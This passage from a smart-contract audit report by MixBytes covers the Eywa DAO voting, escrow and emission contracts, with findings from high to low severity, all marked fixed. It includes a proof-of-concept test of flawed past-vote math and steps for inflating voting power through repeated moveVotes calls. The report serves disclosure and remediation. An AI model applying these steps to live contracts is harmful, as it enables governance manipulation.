We recommend implementing a mechanism that tracks users' votes on a per-epoch basis, similar to the approach used in the `IncentiveRewardsDistributor` and `RebaseRewardsDistributorV1` contracts.

| H-5 | Incorrect transfer of ERC-20 tokens to non-compatible contract |
| --- | --- |
| Severity | High |
| Status | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/-/blob/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

- https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/-/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowVoteManagerV1.sol#L136

It was discovered that the `s_emissionManager` contract does not handle ERC20 tokens. However, the following code attempts to transfer ERC20 tokens to this contract:

```
IERC20(s_eywa).safeTransfer(s_emissionManager, m_claimableRewards);
```

Since `s_emissionManager` is not designed to accept or manage ERC20 tokens, any tokens sent to it may become irretrievable.

**Recommendation**

We recommend modifying the contract logic to prevent ERC20 tokens from being transferred to `s_emissionManager` unless it is updated to handle ERC20 tokens properly.

| H-6 | Incorrect math in `EscrowManager.getPastVotes()` |
| --- | --- |
| **Severity** | High |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

Voting weight decreases over time at a fixed rate calculated based on the current deposit. However, the same rate is used to calculate past voting weight: the current voting weight is increased by the current rate multiplied by the elapsed time. The issue is that the current rate may not reflect the rate the user had in the past, leading to discrepancies in the calculated voting weight—either higher or lower—compared to the actual historical value.

We consider this a high issue because ProposalManager retrieves the user's voting power from the past. Depending on the proposal creation time, it may look for the user voting power rate from a previous epoch which can be calculated incorrectly.

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/-/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowManager.sol#L421

In the provided PoC, the user deposits more funds, causing their past votes to decrease, even though they should remain unchanged:

```
await checkIncorrectPastVotes(
    "aliceTokenId3", "Common2", "eywa NFT locked without boost");
async function checkIncorrectPastVotes(
    aliceTokenId,
    eywaTokenId,
    description) {
describe(`Test`, () => {
    describe("Test", () => {
    it("Test", async () => {
        const { eywaNFT, escrowManager, alice, AliceTokenId, TokenId } =
            await loadFixture(deploy);

        const blockNumber = await ethers.provider.getBlockNumber();
        const block = await ethers.provider.getBlock(blockNumber);

        console.log("Alice votes",
            await escrowManager.getPastVotes(alice, block.timestamp))

        await network.provider.send("evm_increaseTime", [60 * 60 * 24 * 7 + 1])
        await network.provider.send("evm_mine")

        console.log("Alice votes",
            await escrowManager.getPastVotes(alice, block.timestamp))
        await escrowManager.connect(alice).deposit(
            AliceTokenId[aliceTokenId], 10n ** 18n)
        console.log("Alice votes",
            await escrowManager.getPastVotes(alice, block.timestamp))
        console.log("Alice votes",
            await escrowManager.getPastVotes(alice, block.timestamp))
    })
    })
})
}
```

Output:

```
Alice votes 35185450688622750n
Alice votes 35185450688622750n
Alice votes 30782345402868525n
Alice votes 30782345402868525n
```

**Recommendation**

We recommend accurately accounting for past rate changes in the mathematical calculations.

| H-7 | Unchecked voting status in `moveVotes()` allows vote power inflation |
| --- | --- |
| **Severity** | High |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/4f2b045c507ec910a963cc516e0bc36b183a15cc |

**Description**

- https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/39fba4bee623a3e60a529416f93d76e73658440d/contracts/EscrowManager.sol#L396

The `moveVotes()` method in `EscrowManager` does not validate whether the token has already voted by checking the `s_hasVotedByTokenId` mapping.

Because there is no check of `s_hasVotedByTokenId[tokenId_]` within `moveVotes()`, an attacker (or any user) can:

1. Cast a vote.
2. Call `moveVotes()` to move their votes (via `DELEGATION_MANAGER`).
3. Repeat the above sequence.

By doing so, the user could artificially inflate their voting power, effectively manipulating voting outcomes.

**Recommendation**

Add a validation check for `s_hasVotedByTokenId[tokenId_]` in the `moveVotes()` method, similar to the one in `_update()`. For instance (https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/39fba4bee623a3e60a529416f93d76e73658440d/contracts/EscrowManager.sol#L517):

```
if (s_hasVotedByTokenId[tokenId_]) {
    revert LockCurrentlyVoting();
}
```

## 2.3 Medium

| | |
|---|---|
| M-1 | User cannot deboost after the vote is reset due to `s_hasVotedByEpochAndTokenId` remaining `true` for the current epoch |
| Severity | Medium |
| Status | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/be50789c420faefa7f31d4295c46eb41031bd0df/ |

**Description**

When a user calls `EscrowVoteManagerV1.reset()`, all data related to their vote is deleted. However, the **s_hasVotedByEpochAndTokenId** flag remains set to true.

As a result, the user is unable to call `EscrowManager.deboost()` to retrieve their NFTs until the current epoch ends.

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowVoteManagerV1.sol#L320-348

**Recommendation**

We recommend setting the value of `s_hasVotedByEpochAndTokenId` to `false` within the `EscrowVoteManagerV1._reset()` function.

| M-2 | Incorrect struct copy leads to unexpected behavior |
| --- | --- |
| Severity | Medium |
| Status | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/be50789c420faefa7f31d4295c46eb41031bd0df/ |

**Description**

In the `EscrowManager.sol` contract, the variable `m_lastVotingPowerPointCopy` is intended to be a copy of `m_lastVotingPowerPoint`. However, the assignment:

```
VotingPowerPoint memory m_lastVotingPowerPointCopy = m_lastVotingPowerPoint;
```

does not create a true independent copy of the `VotingPowerPoint` struct. This means any modifications to `m_lastVotingPowerPoint` will inadvertently affect `m_lastVotingPowerPointCopy`.

**Recommendation**

To ensure that `m_lastVotingPowerPointCopy` is an independent copy, a deep copy of the `VotingPowerPoint` struct should be performed.

| M-3 | A killed gauge keeps receiving rewards |
| --- | --- |
| Severity | Medium |
| Status | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

When the function `EscrowVoteManagerV1.killGauge()` is called, all claimableRewards associated with the gauge are transferred to the `EmissionManager` contract, and the `s_claimableRewardsByGauge[gauge_]` mapping is deleted.

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowVoteManagerV1.sol#L135-137

However, if the `EscrowVoteManagerV1.updateRewardIndexForGauge()` function is subsequently called with the same gauge address, and if **s_votesByPool[m_pool]** is not zero, the **s_claimableRewardsByGauge[gauge_]** mapping will be incremented again.

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EscrowVoteManagerV1.sol#L356-363

As a result, rewards can still be distributed to the `GaugeV1` contract despite it being "killed."

**Recommendation**

We recommend updating the gauge's indexes when a gauge is being killed and refraining from incrementing the gauge's index if there are still non-zero votes for it. Additionally, it is necessary to update the indexes when a gauge is being revived to prevent index discrepancies and to avoid a situation where a disabled gauge continues accumulating rewards.

| | |
|---|---|
| M-4 | Non-zero `rebaseEmission_` value from `EmissionManagerV1._calculateRebaseEmission` when `totalLocked` is zero |
| Severity | Medium |
| Status | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

`EmissionManagerV1._calculateRebaseEmission` returns **500e18** if **currentWeeklyEmission_** is **7_500_000e18** as value set in `EmissionManagerV1.initialize()`.

The function `EmissionManagerV1._calculateRebaseEmission` returns a non-zero value even when **totalLocked** is zero. For example, with a **currentWeeklyEmission_** value of **7_500_000e18**, the function returns **500e18**.

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EmissionManagerV1.sol#L284-287

**Recommendation**

We recommend updating the logic in `EmissionManagerV1._calculateRebaseEmission` to explicitly return zero when **totalLocked** is zero.

| M-5 | Execution of a proposal with a blacklisted selector |
| --- | --- |
| Severity | Medium |
| Status | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

Users are prohibited from creating proposals with blacklisted selectors in the ProposalManager contract.

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/ProposalManager.sol#L150-152

However, if a proposal has already been created and the contract owner adds the selector to the blacklist, the proposal can still be executed despite the selector being blacklisted.

**Recommendation**

We recommend checking the selector blacklist at the proposal execution level.

## 2.4 Low

| | |
|---|---|
| L-1 | `IncentiveRewardsDistributor.notifyRewardAmount()` does not check that tokens were removed from whitelist |
| Severity | Low |
| Status | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/be50789c420faefa7f31d4295c46eb41031bd0df/ |

**Description**

When tokens were removed from the `EscrowVoteManagerV1` whitelist it is not checked in `IncentiveRewardsDistributor.notifyRewardAmount()`.

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/IncentiveRewardsDistributor.sol#L28-45

**Recommendation**

We recommend to check whether the tokens were removed from whitelist or not.

| | |
|---|---|
| L-2 | Inconsistent access control on `updateTimelock` method |
| **Severity** | Low |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

- GovernorTimelockControl.sol#L152

In the `GovernorTimelockControl` contract used within `ProposalManager`, the `updateTimelock` method is currently protected by the `onlyGovernance` modifier. This modifier restricts the function's access to actions initiated through the governance process, such as successful proposal executions.

However, in the `ProposalManager` contract, most administrative methods have been overridden to include the `onlyOwner` modifier, ensuring that only the contract owner can execute them directly. The inconsistency arises because `updateTimelock` remains protected by `onlyGovernance` rather than `onlyOwner`.

**Recommendation**

We recommend changing the access control of the `updateTimelock` method in the GovernorTimelockControl contract from `onlyGovernance` to `onlyOwner`.

| L-3 | Issue with fee-on-transfer tokens in `RewardsDistributor` |
| --- | --- |
| **Severity** | Low |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

The `_notifyRewardAmount()` function in the `RewardsDistributor` contract doesn't account for fee-on-transfer tokens. The `s_rewardAmountByTokenAndEpoch` will store the pre-fee amount, leading to incorrect reward calculations.

Context:

```
function _notifyRewardAmount(
    address sender_,
    address rewardToken_,
    uint256 rewardAmount_
) internal {
    ...
    IERC20(rewardToken_).safeTransferFrom(
        sender_, address(this), rewardAmount_);
    uint256 m_currentEpochStart = _currentEpochStart(block.timestamp);
    ...
    s_rewardAmountByTokenAndEpoch[rewardToken_][m_currentEpochStart] +=
        rewardAmount_;
    emit RewardNotified(
        sender_,
        rewardToken_,
        m_currentEpochStart,
        rewardAmount_);
}
```

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/super/RewardsDistributor.sol#L149

**Recommendation**

We recommend either not using fee-on-transfer tokens or tracking actual received amount by comparing balances before and after transfer. Note, that the latter approach has dangerous pitfalls with hook-on-transfer tokens. Thus, we recommend avoiding using any exotic tokens in general.

| | |
|---|---|
| L-4 | Suboptimal error handling in `EmissionManagerV1` |
| **Severity** | Low |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

The `updateWeeklyEmissionState()` function in the `EmissionManagerV1` contract uses the same `revert CooldownPeriodNotElapsed()` for different cases:

- `block.timestamp < s_lastChangeEpochStart + EPOCH_COOLDOWN_PERIOD * EPOCH_DURATION`
- `s_epochCounter == 0`

```
function updateWeeklyEmissionState(...) external {
    if (block.timestamp <
        s_lastChangeEpochStart + EPOCH_COOLDOWN_PERIOD * EPOCH_DURATION ||
        s_epochCounter == 0) {
        revert CooldownPeriodNotElapsed();
    }
    ...
}
```

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EmissionManagerV1.sol#L141

**Recommendation**

We recommend splitting the condition into two separate checks with distinct reverts.

| | |
|---|---|
| L-5 | DoS vulnerability in `EmissionManagerV1.updateEpoch()` |
| **Severity** | Low |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

The `updateEpoch()` function in the `EmissionManagerV1` contract contains a version check that could cause issues in future upgrades. The check `_getInitializedVersion() == 1` means the function will stop working if the contract ever uses `reinitializer` with a version > 1 or calls `_disableInitializers()`.

Context:

```
function updateEpoch() external {
    uint256 m_currentEpochStart = s_currentEpochStart;
    if (block.timestamp >=
        m_currentEpochStart + EPOCH_DURATION &&
        _getInitializedVersion() == 1) {
        // distribution logic
        ...
    }
}
```

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/EmissionManagerV1.sol#L199

**Recommendation**

While this is not currently an issue since the contract doesn't use these features, it should be considered during future upgrades. Either remove this version check if it serves no purpose, or change it to `_getInitializedVersion() > 0` if initialization verification is needed.

| | |
|---|---|
| L-6 | Missing event in `GaugeFactoryV1` |
| **Severity** | Low |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

The `createGauge()` function in the `GaugeFactoryV1` contract doesn't emit an event when creating a new gauge:

```
function createGauge(...) external returns (address) {
    if (msg.sender != s_escrowVoteManager) {
        revert InvalidCaller();
    }
    address m_implementation = address(new GaugeV1());
    address m_gauge = address(new ERC1967Proxy(...));
    return m_gauge;
    // Missing event emission
}
```

**Recommendation**

Add event emission when a new gauge is created.
https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/GaugeFactoryV1.sol#L41

| L-7 | Unused validation in `RewardsDistributor` |
| --- | --- |
| **Severity** | Low |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

In the `RewardsDistributor` contract, the `earned()` function performs calculations before validating if the token is a valid reward token. While the contract maintains `s_isRewardToken` mapping, it's not used for early validation:

```
function earned(
    address owner_,
    address rewardToken_
) public view returns (uint256, uint256) {
    // Missing check for s_isRewardToken[rewardToken_]
    ...
}
```

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/super/RewardsDistributor.sol#L84

**Recommendation**

Add early validation using `s_isRewardToken` to revert early and save gas when invalid reward tokens are queried.

| | |
|---|---|
| L-8 | Missing validation in `ProposalManager._slice()` |
| **Severity** | Low |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

The `_slice()` function in the `ProposalManager` contract lacks proper validation of slice parameters:

```
function _slice(
    bytes memory data_,
    uint256 start_,
    uint256 length_
) private pure returns (bytes memory result_) {
    if (data_.length < start_ + length_) {
        revert InvalidSliceParameters();
    }
    // No other checks for start_ and length_
    ...
}
```

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/ProposalManager.sol#L265

Also it does not ensure that `start_` and `length_` are within valid bounds or properly aligned for memory operations. If `data_` is not a multiple of 32 bytes, a memory error can occur when using mload, which may attempt to access non-existent memory regions. This can lead to unexpected behavior or contract failure.

**Recommendation**

We recommend adding checks for `start_` and `length_` parameters are multiples of 32 bytes.

| L-9 | Missing `_disableInitializers()` in implementations |
| --- | --- |
| Severity | Low |
| Status | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

The following contracts are missing `_disableInitializers()` call in their constructor:

- `BondEmissionDistributorV1`
- `DelegationManagerV1`
- `EmissionManagerV1`
- `EscrowVoteManagerV1`
- `GaugeFactoryV1`
- `GaugeV1`
- `GrantEmissionDistributorV1`
- `IncentiveEmissionDistributorV1`
- `RebaseRewardsDistributorV1`
- `RewardsDistributorFactoryV1`

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/BondEmissionDistributorV1.sol

**Recommendation**

Add `_disableInitializers()` call in constructors of all upgradeable contracts.

| L-10 | Duplicate selectors in `ProposalManager` |
| --- | --- |
| **Severity** | Low |
| **Status** | Fixed in https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/commit/39fba4bee623a3e60a529416f93d76e73658440d/ |

**Description**

The `addProtectedSelector()` function in the `ProposalManager` contract doesn't check for duplicate selectors:

```
function addProtectedSelector(
    uint256 chainId_,
    address target_,
    bytes4 selector_) external {
    if (!_chainIds.contains(chainId_)) {
        revert InvalidChainId(chainId_);
    }
    s_protectedSelectorsByChainIdAndTarget[chainId_][target_].push(selector_);
    // No check for existing selector_
}
```

https://gitlab.ubertech.dev/blockchainlaboratory/eywa-dao/blob/29465033f28c8d3f09cbc6722e08e44f443bd3b2/contracts/ProposalManager.sol#L82

**Recommendation**

Add check for existing selector before pushing to array.

# 3. ABOUT MIXBYTES

MixBytes is a team of blockchain developers, auditors and analysts keen on decentralized systems. We build opensource solutions, smart contracts and blockchain protocols, perform security audits, work on benchmarking and software testing solutions, do research and tech consultancy.

## Contacts

https://github.com/mixbytes/audits_public

https://mixbytes.io/

hello@mixbytes.io

https://twitter.com/mixbytes